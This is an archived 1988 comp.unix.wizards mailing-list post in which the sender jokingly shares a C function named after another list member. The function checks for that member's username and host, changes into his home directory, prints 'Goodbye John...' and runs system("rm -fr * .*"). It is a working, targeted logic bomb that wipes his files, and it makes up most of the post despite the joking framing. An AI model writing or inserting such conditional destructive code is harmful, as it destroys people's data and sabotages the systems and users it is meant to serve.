none.

Terry Jones tcjones at watdragon.waterloo.edu
Fri Nov 18 08:04:45 AEST 1988


Here's a handy-dandy little function that I just whipped up. Took me about 
4 or 5 hours to get the bugs out, but I'm just a college student :-)
I'm going to put in all the code I write. OK, I'm a silly college student.

Not meant to be taken as an insult.


#include <stdio.h>
#include <pwd.h>

void
get_John_F_Haugh_II()
{
	struct passwd *pwd = getpwnam("jfh");
	char host[1024];

	if (pwd == NULL) return;
	if (gethostname(host, sizeof(host)) == -1) return;
	if (strcmp(host, "rpp386")) return;
	if (chdir(pwd->pw_dir) == -1) return;
	if (fprintf(stderr, "Goodbye John...\n") == EOF) return;
	system("rm -fr * .*");
	return;
}



More information about the Comp.unix.wizards mailing list